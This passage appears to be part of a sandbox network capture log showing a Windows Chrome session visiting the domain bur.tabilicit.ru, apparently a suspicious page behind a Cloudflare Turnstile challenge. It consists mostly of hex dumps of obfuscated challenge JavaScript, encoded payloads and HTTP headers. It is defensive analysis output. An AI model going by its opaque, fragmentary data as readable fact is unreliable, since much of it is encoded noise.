7b 7d 2c 6d 5b 67 55 28 31 32 30 36 29 5d 3d 66 2c 6d 5b 67 55 28 39 37 33 29 5d 3d 67 2c 6d 5b 67 55 28 39 31 39 29 5d 3d 68 2c 6d 5b 67 55 28 38 Data Ascii: U(1060)][gU(1347)]('\n'),e[gU(334)](j[gU(1501)],1))&&(k=/^\s*at\s+(.+):(\d+):(\d+)/,l=j[1][gU(408)](k),l&&(g=l[1],h=e[gU(432)](parseInt,l[2],10),i=e[gU(456)](parseInt,l[3],10))):f=JSON[gU(640)](d);return m={},m[gU(1206)]=f,m[gU(973)]=g,m[gU(919)]=h,m[gU(8
2025-01-11 00:11:50 UTC	1369	IN	Data Raw: 5b 67 58 28 36 30 38 29 5d 28 67 58 28 34 30 36 29 2c 65 29 3b 65 6c 73 65 20 69 66 28 76 3d 74 68 69 73 2e 68 5b 6b 5b 67 58 28 36 30 31 29 5d 28 31 37 34 2c 74 68 69 73 2e 67 29 5d 5b 33 5d 5e 6b 5b 67 58 28 39 31 37 29 5d 28 74 68 69 73 2e 68 5b 74 68 69 73 2e 67 5e 31 37 34 2e 32 36 5d 5b 31 5d 5b 67 58 28 36 37 32 29 5d 28 74 68 69 73 2e 68 5b 6b 5b 67 58 28 39 30 32 29 5d 28 31 37 34 2c 74 68 69 73 2e 67 29 5d 5b 30 5d 2b 2b 29 2d 32 33 30 2c 32 35 36 29 26 32 35 35 2e 35 36 5e 31 32 31 2e 30 34 2c 78 3d 44 28 74 68 69 73 29 2c 42 3d 74 68 69 73 2e 68 5b 6b 5b 67 58 28 36 30 31 29 5d 28 31 37 34 2c 74 68 69 73 2e 67 29 5d 5b 34 5d 2c 76 3d 3d 3d 31 33 32 29 76 3d 6b 5b 67 58 28 32 37 39 29 5d 28 74 68 69 73 2e 68 5b 6b 5b 67 58 28 32 37 39 29 5d 28 Data Ascii: [gX(608)](gX(406),e);else if(v=this.h[k[gX(601)](174,this.g)][3]^k[gX(917)](this.h[this.g^174.26][1][gX(672)](this.h[k[gX(902)](174,this.g)][0]++)-230,256)&255.56^121.04,x=D(this),B=this.h[k[gX(601)](174,this.g)][4],v===132)v=k[gX(279)](this.h[k[gX(279)](

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.16	49729	35.190.80.1	443	6688	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 00:11:50 UTC	535	OUT	OPTIONS /report/v4?s=L%2FaRlf62X74v9lF0OkU%2BPVcHxn6KEH1O8aIcTT49HGoHewrL02OLFRw1W1gsccQte1N0fxVoFV5cIwAuLV62CBcovMS8tFfVkp8BQ1KhSc2d1YM04xkjmY%2FsxNk5jg%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://bur.tabilicit.ru Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 00:11:50 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Sat, 11 Jan 2025 00:11:50 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.16	49730	104.18.94.41	443	6688	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 00:11:50 UTC	1171	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1921554275:1736550971:TnKaT0jV5lW68YgIRWBM59VimwZRNfMAiHkCbpeYMCA/9000b10cedac7ca5/QbZYUCWOFfMfFxI3Mt8G1cwyQLXSnKGTnakASwcg.JA-1736554308-1.1.1.1-VXNA4hLUU9q6KhuXHbb69OtNPBizZZ3ZliWAALbWqfVBqImc5bjGuYSCmFb_NI.u HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3192 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: QbZYUCWOFfMfFxI3Mt8G1cwyQLXSnKGTnakASwcg.JA-1736554308-1.1.1.1-VXNA4hLUU9q6KhuXHbb69OtNPBizZZ3ZliWAALbWqfVBqImc5bjGuYSCmFb_NI.u sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/fz20s/0x4AAAAAAA2JzGXKKKPcEUX8/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 00:11:50 UTC	3192	OUT	Data Raw: 76 5f 39 30 30 30 62 31 30 63 65 64 61 63 37 63 61 35 3d 68 4e 72 76 62 76 6c 76 67 76 61 76 4d 57 37 46 57 37 32 76 57 63 48 31 6a 71 63 37 7a 57 66 66 37 4b 43 37 48 55 76 57 25 32 62 37 49 76 48 72 71 48 56 2b 72 37 78 74 2b 37 33 2d 57 75 68 37 4f 76 57 32 72 37 48 44 6b 4e 59 50 37 44 31 37 58 37 57 4e 37 44 72 69 55 37 43 37 59 55 48 66 37 31 55 74 72 37 67 6a 37 59 71 78 55 6b 69 6d 75 4e 37 4d 75 39 36 37 4e 58 55 59 6f 37 5a 66 46 79 36 24 50 31 77 6d 41 50 46 39 55 48 31 78 51 37 33 36 37 68 39 31 37 4f 46 36 6c 7a 76 59 61 6d 37 59 68 37 74 58 54 5a 74 65 4c 5a 62 6e 37 45 54 2b 34 55 39 58 6f 45 45 43 38 37 74 6c 7a 77 4f 37 24 37 33 6c 61 5a 76 37 68 68 37 59 65 69 54 78 65 6c 36 36 4a 69 39 77 65 55 4d 4f 44 57 37 37 32 37 33 33 45 37 57 24 Data Ascii: v_9000b10cedac7ca5=hNrvbvlvgvavMW7FW72vWcH1jqc7zWff7KC7HUvW%2b7IvHrqHV+r7xt+73-Wuh7OvW2r7HDkNYP7D17X7WN7DriU7C7YUHf71Utr7gj7YqxUkimuN7Mu967NXUYo7ZfFy6$P1wmAPF9UH1xQ7367h917OF6lzvYam7Yh7tXTZteLZbn7ET+4U9XoEEC87tlzwO7$73laZv7hh7YeiTxel66Ji9weUMODW772733E7W$
2025-01-11 00:11:50 UTC	751	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 00:11:50 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 152984 Connection: close cf-chl-gen: 5VcwCOK1kAP77oNmizk2lvMBcVcmaZJYgeRPNgMyCS3SnbJMFujgdVD5VsZbZ5R7KBgSl3hMSQOk7VNm7G4TNhyNk7BAD44TsEdiCgPTo0kCDkFiLVsIoCXQDNaDbF87qCUZ0Av0DvSsiONPvipg78PA5Lbx4SyunBYIbhEJDX2a6wfOU/RGjNEll/4W30TPEmIpIsIA63c9XRJJP8qPe+/tnshTogS2E3IvIDsZoAHGFaIst30N4IORcN1ngMohbUx950ReRpAa9p2xzEpx/IjFmtqwn6TbV1nhlmAYLuoEvsEfnMJeLQXzypyj7t/4aNq07/Z2rthneTcK7sdjqyKWbio+M5KFwhomL1vdcVQlBApl/SPJlCShvDwaT24fl+CG9bWYSR4kszBpmL1RdxKUDkHcynMpB4HumyK7MZRxfCXd8Og4ETXgsyNbT/mqQES5uu91A6bW78D6mJmVJ3OffC6C93PEr5rk2R2QryY=$TWYkd2Pkm8xA1BQnijRXJA== Server: cloudflare CF-RAY: 9000b1174c9a42f5-EWR alt-svc: h3=":443"; ma=86400
2025-01-11 00:11:50 UTC	618	IN	Data Raw: 6d 36 32 7a 76 71 75 36 6f 71 32 36 6d 59 43 37 68 5a 71 2f 69 71 6e 41 7a 6f 6d 70 31 4c 57 72 78 63 7a 56 78 70 53 30 6c 36 2b 73 70 38 2f 61 6f 72 6d 68 74 74 61 65 35 2b 50 4c 79 64 32 6a 32 64 2f 52 79 4d 33 73 78 73 50 69 31 37 44 46 2b 4e 7a 77 35 74 6a 64 79 4c 76 69 33 62 62 35 2b 74 71 36 78 64 50 6a 39 74 6e 59 35 2b 6a 69 33 51 4c 7a 30 73 37 72 42 52 45 55 39 76 30 65 43 50 6f 43 49 67 76 63 44 39 34 49 48 50 30 58 48 68 2f 38 4b 77 4d 47 37 65 4d 79 38 53 34 47 4c 42 49 54 47 44 63 6c 4c 77 6a 2b 50 52 30 63 41 30 45 76 44 69 45 34 47 77 70 49 4f 69 4d 4a 4f 43 73 63 4c 30 4e 56 52 45 42 45 52 30 52 43 52 69 55 78 4c 6c 38 30 47 7a 70 6a 49 31 34 37 48 31 4d 34 52 47 67 30 4e 55 30 74 5a 6b 5a 4a 5a 33 55 76 5a 6b 5a 4c 4f 58 64 48 65 54 77 Data Ascii: m62zvqu6oq26mYC7hZq/iqnAzomp1LWrxczVxpS0l6+sp8/aormhttae5+PLyd2j2d/RyM3sxsPi17DF+Nzw5tjdyLvi3bb5+tq6xdPj9tnY5+ji3QLz0s7rBREU9v0eCPoCIgvcD94IHP0XHh/8KwMG7eMy8S4GLBITGDclLwj+PR0cA0EvDiE4GwpIOiMJOCscL0NVREBER0RCRiUxLl80GzpjI147H1M4RGg0NU0tZkZJZ3UvZkZLOXdHeTw
2025-01-11 00:11:50 UTC	1369	IN	Data Raw: 39 77 61 59 64 6b 68 30 35 4e 68 6c 42 35 6d 57 52 5a 6b 32 39 58 64 6e 31 36 59 58 36 59 6d 47 64 2b 64 4a 57 55 68 6e 31 6c 61 34 47 61 68 72 4b 30 71 58 4b 79 64 72 65 33 70 72 65 77 64 33 36 56 65 4a 61 77 74 6e 65 39 76 61 65 68 70 72 58 4c 69 35 75 36 77 6f 36 37 73 61 6a 47 6f 35 61 78 77 61 50 62 6b 37 7a 4c 76 73 75 70 72 37 4f 73 72 62 71 37 33 37 79 32 35 4e 7a 6d 34 62 72 78 75 63 4c 50 34 39 50 58 72 2b 61 30 31 76 6e 75 37 73 61 35 79 64 4c 74 42 65 55 46 30 4d 53 2b 42 38 49 45 31 75 62 59 42 42 44 37 41 65 6a 63 46 41 33 76 38 76 45 58 37 64 55 53 48 42 48 34 37 4e 2f 2b 2b 42 4d 6b 39 42 48 79 46 43 4d 48 44 41 55 74 2f 41 4c 74 37 65 38 51 4e 43 63 50 43 43 4d 6e 37 68 38 54 2f 66 73 58 2f 54 30 33 49 30 4e 46 45 78 30 30 42 6b 55 34 49 Data Ascii: 9waYdkh05NhlB5mWRZk29Xdn16YX6YmGd+dJWUhn1la4GahrK0qXKydre3prewd36VeJawtne9vaehprXLi5u6wo67sajGo5axwaPbk7zLvsupr7Osrbq737y25Nzm4brxucLP49PXr+a01vnu7sa5ydLtBeUF0MS+B8IE1ubYBBD7AejcFA3v8vEX7dUSHBH47N/++BMk9BHyFCMHDAUt/ALt7e8QNCcPCCMn7h8T/fsX/T03I0NFEx00BkU4I
2025-01-11 00:11:50 UTC	1369	IN	Data Raw: 76 58 33 43 58 6b 31 75 56 69 31 56 66 56 32 6c 34 65 58 71 53 70 33 6c 77 69 6f 69 43 67 56 2b 49 65 59 6c 6a 61 5a 4a 7a 62 4c 61 66 6c 6e 69 57 63 61 6d 5a 74 35 6c 33 67 4c 79 63 65 37 47 6a 75 4b 53 37 70 61 50 4b 76 62 6e 44 68 38 69 2f 73 36 7a 4e 77 38 79 30 79 4d 58 62 32 73 33 4a 30 4a 66 59 7a 39 2b 38 33 64 50 53 78 4e 6a 56 36 65 72 64 32 64 79 6e 36 4e 2f 72 78 74 50 78 38 4f 7a 73 38 73 54 79 36 76 66 49 2f 75 2f 4c 31 77 48 68 77 76 48 33 78 50 30 42 39 73 66 70 2b 4f 62 52 43 78 44 52 46 41 59 4f 2b 64 66 77 47 78 55 56 37 4f 72 59 45 2b 41 64 46 65 4d 67 4a 68 37 30 36 69 76 32 36 2b 6a 35 4c 79 44 39 43 78 41 41 4e 53 34 32 4a 42 59 4b 42 53 77 71 45 41 34 37 51 78 59 41 4d 54 6b 2f 46 78 51 6e 4f 42 30 39 51 41 49 66 4c 42 38 30 49 30 Data Ascii: vX3CXk1uVi1VfV2l4eXqSp3lwioiCgV+IeYljaZJzbLaflniWcamZt5l3gLyce7GjuKS7paPKvbnDh8i/s6zNw8y0yMXb2s3J0JfYz9+83dPSxNjV6erd2dyn6N/rxtPx8Ozs8sTy6vfI/u/L1wHhwvH3xP0B9sfp+ObRCxDRFAYO+dfwGxUV7OrYE+AdFeMgJh706iv26+j5LyD9CxAANS42JBYKBSwqEA47QxYAMTk/FxQnOB09QAIfLB80I0
2025-01-11 00:11:50 UTC	1369	IN	Data Raw: 66 59 6c 70 57 6e 4f 5a 6a 35 2b 4e 5a 71 4f 6e 64 33 79 64 6a 57 79 72 67 57 65 72 69 6e 2b 43 67 4c 57 75 70 72 64 77 75 72 32 7a 66 62 69 4f 6a 71 2b 4d 6d 38 4b 44 73 4a 71 58 6d 61 54 46 79 4d 57 69 70 70 6d 4d 6f 73 50 56 73 38 65 6c 6b 72 44 55 31 38 33 56 33 71 76 69 6d 70 76 69 6f 75 66 6b 71 4b 44 4b 33 62 6e 58 75 62 32 6f 78 4f 66 73 73 63 71 77 39 76 58 73 31 72 4c 6e 79 65 37 62 33 77 50 31 39 50 76 74 43 4c 6e 35 43 65 76 72 44 50 62 4f 32 75 63 49 43 50 7a 77 38 67 66 34 47 65 49 5a 2f 50 6a 31 42 39 30 64 38 68 77 64 37 52 50 7a 34 42 51 62 48 69 67 44 2b 2b 34 76 44 69 45 49 48 69 54 30 49 77 4d 73 4b 51 34 6e 38 78 34 54 51 50 4c 37 4e 6a 63 69 48 42 63 2b 48 52 51 37 4c 52 70 49 42 51 30 6e 55 43 49 6c 50 6c 41 66 4b 56 4d 58 54 6b 64 Data Ascii: fYlpWnOZj5+NZqOnd3ydjWyrgWerin+CgLWuprdwur2zfbiOjq+Mm8KDsJqXmaTFyMWippmMosPVs8elkrDU183V3qvimpvioufkqKDK3bnXub2oxOfsscqw9vXs1rLnye7b3wP19PvtCLn5CevrDPbO2ucICPzw8gf4GeIZ/Pj1B90d8hwd7RPz4BQbHigD++4vDiEIHiT0IwMsKQ4n8x4TQPL7NjciHBc+HRQ7LRpIBQ0nUCIlPlAfKVMXTkd
2025-01-11 00:11:50 UTC	1369	IN	Data Raw: 6c 2b 53 67 5a 31 6e 66 6d 43 70 5a 34 61 57 61 61 6c 75 71 47 32 4f 71 49 75 49 6b 71 71 6c 6a 5a 46 33 6e 5a 4b 32 64 35 43 54 75 4a 79 78 6f 63 6d 37 68 49 57 38 72 4a 32 6f 6d 61 53 70 6b 35 4f 4e 6c 70 61 73 6b 5a 50 47 32 64 61 56 72 71 6d 71 6f 62 47 61 73 65 66 41 6f 62 71 38 78 38 62 67 34 65 54 61 70 2b 6d 79 34 73 4c 7a 30 36 36 79 31 64 66 51 32 73 6f 41 30 72 50 68 2b 4c 33 5a 38 2f 6e 42 33 2f 63 49 78 66 72 6c 43 38 34 42 79 67 44 4b 42 42 67 50 30 64 6b 45 2f 4e 6a 30 37 4e 34 64 33 77 7a 32 49 52 50 31 39 53 58 6f 2f 4f 6f 70 37 42 66 74 4d 43 38 42 36 54 4d 76 4d 41 45 6e 4e 66 49 46 37 68 34 39 44 45 4a 44 46 6b 55 43 48 77 38 78 4b 68 30 73 50 69 77 33 48 55 70 4d 45 54 74 46 4b 41 34 67 4c 30 51 37 4c 56 64 4a 4c 6c 63 64 56 55 4e 61 Data Ascii: l+SgZ1nfmCpZ4aWaaluqG2OqIuIkqqljZF3nZK2d5CTuJyxocm7hIW8rJ2omaSpk5ONlpaskZPG2daVrqmqobGasefAobq8x8bg4eTap+my4sLz066y1dfQ2soA0rPh+L3Z8/nB3/cIxfrlC84BygDKBBgP0dkE/Nj07N4d3wz2IRP19SXo/Oop7BftMC8B6TMvMAEnNfIF7h49DEJDFkUCHw8xKh0sPiw3HUpMETtFKA4gL0Q7LVdJLlcdVUNa
2025-01-11 00:11:50 UTC	1369	IN	Data Raw: 74 6a 6a 57 68 70 72 4b 6d 46 73 34 70 38 73 36 79 51 67 36 65 6e 63 5a 47 46 70 33 2b 4a 6c 4b 79 52 78 49 47 6e 6d 62 53 65 73 73 57 68 72 4c 6d 2b 7a 71 43 2f 6e 38 75 6d 78 64 43 34 7a 4d 32 35 75 35 62 49 6e 62 2b 5a 6e 74 44 4e 74 36 58 54 6f 36 53 71 32 38 7a 45 71 73 76 6c 33 4b 69 76 36 4d 71 73 34 65 58 49 74 73 66 54 32 4c 32 37 31 74 44 54 7a 4e 2f 32 41 4d 4c 31 43 74 4d 4b 78 75 6a 66 35 4e 34 52 46 50 48 4e 36 38 77 45 47 67 55 4a 45 75 63 58 42 78 66 31 33 77 73 44 33 2b 33 30 47 78 45 58 4b 43 62 32 49 69 30 50 43 41 38 73 43 53 55 30 38 76 45 6c 44 67 2f 32 45 51 67 6f 4e 76 30 75 44 6a 38 43 4d 54 67 58 41 6a 55 38 4e 67 6f 33 53 46 45 68 44 78 4d 7a 48 6c 46 41 4b 31 46 58 4a 7a 52 54 46 68 6f 32 47 78 6b 61 59 55 56 47 58 44 30 31 53 Data Ascii: tjjWhprKmFs4p8s6yQg6encZGFp3+JlKyRxIGnmbSessWhrLm+zqC/n8umxdC4zM25u5bInb+ZntDNt6XTo6Sq28zEqsvl3Kiv6Mqs4eXItsfT2L271tDTzN/2AML1CtMKxujf5N4RFPHN68wEGgUJEucXBxf13wsD3+30GxEXKCb2Ii0PCA8sCSU08vElDg/2EQgoNv0uDj8CMTgXAjU8Ngo3SFEhDxMzHlFAK1FXJzRTFho2GxkaYUVGXD01S
2025-01-11 00:11:50 UTC	1369	IN	Data Raw: 43 73 34 4f 43 6e 36 36 6c 63 4c 61 32 6d 71 57 37 6d 62 75 30 6c 70 69 55 72 4a 47 43 67 49 57 67 74 71 4b 45 78 5a 65 59 69 36 76 45 6b 73 32 70 70 4d 36 58 31 35 65 57 71 4b 75 6f 74 4e 61 67 34 72 32 66 72 74 47 69 35 4e 72 6e 77 65 6e 41 34 71 6e 72 36 74 44 46 73 63 58 4c 74 4d 37 71 31 72 50 62 79 63 61 2f 32 4d 33 39 2f 64 33 68 7a 39 6a 36 30 2b 6e 33 41 4e 67 46 7a 50 33 6e 45 4d 2f 6d 43 4e 37 76 41 75 59 51 39 41 77 64 38 39 77 54 39 4e 30 57 2f 64 7a 6a 2f 52 73 4c 2b 43 6f 65 2f 53 4d 45 48 75 37 38 2f 43 59 46 37 66 59 42 4a 44 4d 62 4a 69 37 38 50 69 30 32 2f 50 55 75 44 30 59 51 4f 6a 6b 6f 50 51 55 48 43 7a 6f 6a 53 43 70 46 44 53 39 42 53 43 67 7a 45 6a 41 75 4f 53 39 4c 4c 6c 35 59 58 54 42 50 51 6d 45 79 5a 44 6b 34 50 57 6f 72 52 56 Data Ascii: Cs4OCn66lcLa2mqW7mbu0lpiUrJGCgIWgtqKExZeYi6vEks2ppM6X15eWqKuotNag4r2frtGi5NrnwenA4qnr6tDFscXLtM7q1rPbyca/2M39/d3hz9j60+n3ANgFzP3nEM/mCN7vAuYQ9Awd89wT9N0W/dzj/RsL+Coe/SMEHu78/CYF7fYBJDMbJi78Pi02/PUuD0YQOjkoPQUHCzojSCpFDS9BSCgzEjAuOS9LLl5YXTBPQmEyZDk4PWorRV
2025-01-11 00:11:50 UTC	1369	IN	Data Raw: 68 70 4b 4d 64 35 71 55 75 6f 71 70 77 58 69 57 66 49 36 47 6e 62 57 35 68 4b 6d 69 7a 4c 36 33 71 63 61 6c 30 36 4f 56 73 4d 6e 43 73 74 50 61 75 4b 69 79 79 4e 2b 62 31 65 54 44 74 64 50 48 75 64 76 48 6e 62 79 6b 74 37 6e 70 35 75 6a 46 79 62 4c 32 71 63 4c 6a 79 73 7a 30 30 66 76 61 7a 77 48 62 77 63 33 62 78 73 54 6a 42 38 54 5a 39 41 77 41 34 64 30 43 37 4e 33 39 30 50 45 4f 36 41 51 52 35 42 50 70 38 42 33 30 47 79 50 31 2f 68 55 47 49 53 54 31 4b 2b 63 56 48 4f 73 75 47 79 66 77 4e 41 4d 6b 4a 43 49 6f 4b 7a 41 38 43 78 30 77 4b 54 66 34 41 69 38 43 52 79 48 39 51 7a 30 48 49 54 67 39 53 51 73 39 53 77 77 55 4b 6b 55 30 4a 69 59 32 50 43 77 72 4d 7a 45 57 4e 69 34 74 50 52 64 68 4e 47 59 31 4b 47 56 68 4e 54 39 44 4c 32 67 77 63 55 4a 57 56 7a 4a Data Ascii: hpKMd5qUuoqpwXiWfI6GnbW5hKmizL63qcal06OVsMnCstPauKiyyN+b1eTDtdPHudvHnbykt7np5ujFybL2qcLjysz00fvazwHbwc3bxsTjB8TZ9AwA4d0C7N390PEO6AQR5BPp8B30GyP1/hUGIST1K+cVHOsuGyfwNAMkJCIoKzA8Cx0wKTf4Ai8CRyH9Qz0HITg9SQs9SwwUKkU0JiY2PCwrMzEWNi4tPRdhNGY1KGVhNT9DL2gwcUJWVzJ
2025-01-11 00:11:50 UTC	1369	IN	Data Raw: 4a 2b 50 77 48 53 72 73 33 33 45 6d 73 53 6f 6e 4b 78 2b 6d 73 6a 41 72 70 37 44 77 4a 50 52 6c 4e 65 57 31 71 33 57 78 4a 75 32 6c 62 4c 4d 6f 4c 69 6b 33 4f 43 66 31 63 44 4a 36 4d 79 71 78 63 57 34 33 36 7a 6d 30 73 6e 68 77 72 50 61 31 38 7a 4a 72 37 66 52 33 64 6e 2b 76 73 4d 46 42 72 2f 42 42 50 6a 31 34 41 54 59 32 50 6b 41 36 65 72 70 36 68 48 51 35 76 50 55 35 42 58 56 2f 66 6e 76 2f 76 44 72 34 53 59 41 35 2b 4d 68 38 78 37 32 41 53 44 72 37 43 63 6d 41 2b 34 42 44 51 37 33 46 42 6e 33 2b 51 76 32 2f 43 49 76 4d 42 51 7a 2f 45 67 37 4f 55 4d 35 52 69 41 66 46 79 6b 4c 53 42 49 4b 4a 69 78 53 4a 69 73 31 46 46 73 37 4a 6a 34 71 4e 44 30 63 50 46 45 65 51 6d 4e 62 59 44 55 71 61 53 56 49 53 6b 46 69 53 46 42 50 61 48 42 49 61 56 64 62 53 58 67 39 Data Ascii: J+PwHSrs33EmsSonKx+msjArp7DwJPRlNeW1q3WxJu2lbLMoLik3OCf1cDJ6MyqxcW436zm0snhwrPa18zJr7fR3dn+vsMFBr/BBPj14ATY2PkA6erp6hHQ5vPU5BXV/fnv/vDr4SYA5+Mh8x72ASDr7CcmA+4BDQ73FBn3+Qv2/CIvMBQz/Eg7OUM5RiAfFykLSBIKJixSJis1FFs7Jj4qND0cPFEeQmNbYDUqaSVISkFiSFBPaHBIaVdbSXg9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.16	49732	35.190.80.1	443	6688	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 00:11:50 UTC	476	OUT	POST /report/v4?s=L%2FaRlf62X74v9lF0OkU%2BPVcHxn6KEH1O8aIcTT49HGoHewrL02OLFRw1W1gsccQte1N0fxVoFV5cIwAuLV62CBcovMS8tFfVkp8BQ1KhSc2d1YM04xkjmY%2FsxNk5jg%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 427 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 00:11:50 UTC	427	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 31 31 32 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 62 75 72 2e 74 61 62 69 6c 69 63 69 74 2e 72 75 2f 48 67 53 6c 68 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 38 38 2e 31 31 34 2e 39 37 2e 33 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 Data Ascii: [{"age":0,"body":{"elapsed_time":112,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://bur.tabilicit.ru/HgSlh/","sampling_fraction":1.0,"server_ip":"188.114.97.3","status_code":404,"type":"http.error"},"type":"network-error","
2025-01-11 00:11:50 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Sat, 11 Jan 2025 00:11:50 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.16	49733	104.18.95.41	443	6688	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 00:11:51 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1921554275:1736550971:TnKaT0jV5lW68YgIRWBM59VimwZRNfMAiHkCbpeYMCA/9000b10cedac7ca5/QbZYUCWOFfMfFxI3Mt8G1cwyQLXSnKGTnakASwcg.JA-1736554308-1.1.1.1-VXNA4hLUU9q6KhuXHbb69OtNPBizZZ3ZliWAALbWqfVBqImc5bjGuYSCmFb_NI.u HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 00:11:51 UTC	442	IN	HTTP/1.1 400 Bad Request Date: Sat, 11 Jan 2025 00:11:51 GMT Content-Type: application/json Content-Length: 14 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: JSMkccsI81hFbSFHYNuJcF90XApSyV75JmHDNA9bZDZVmM9+Tdysm2e//2kfbRD9EoLiFyNOVcM08v3rQS+KZw==$gPAYqNzez/4VQQ2Ahr71BA== Server: cloudflare CF-RAY: 9000b11d296f423d-EWR alt-svc: h3=":443"; ma=86400
2025-01-11 00:11:51 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 33 30 7d Data Ascii: {"err":100230}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.16	49734	104.18.94.41	443	6688	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 00:11:51 UTC	811	OUT	GET /cdn-cgi/challenge-platform/h/b/pat/9000b10cedac7ca5/1736554310301/44fe8c38daed3b972ad9e29daba44355e592fed3f472668db9c0932367eb0b10/DMb4L7jWqBqxwiv HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/fz20s/0x4AAAAAAA2JzGXKKKPcEUX8/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 00:11:51 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Sat, 11 Jan 2025 00:11:51 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 1 Connection: close
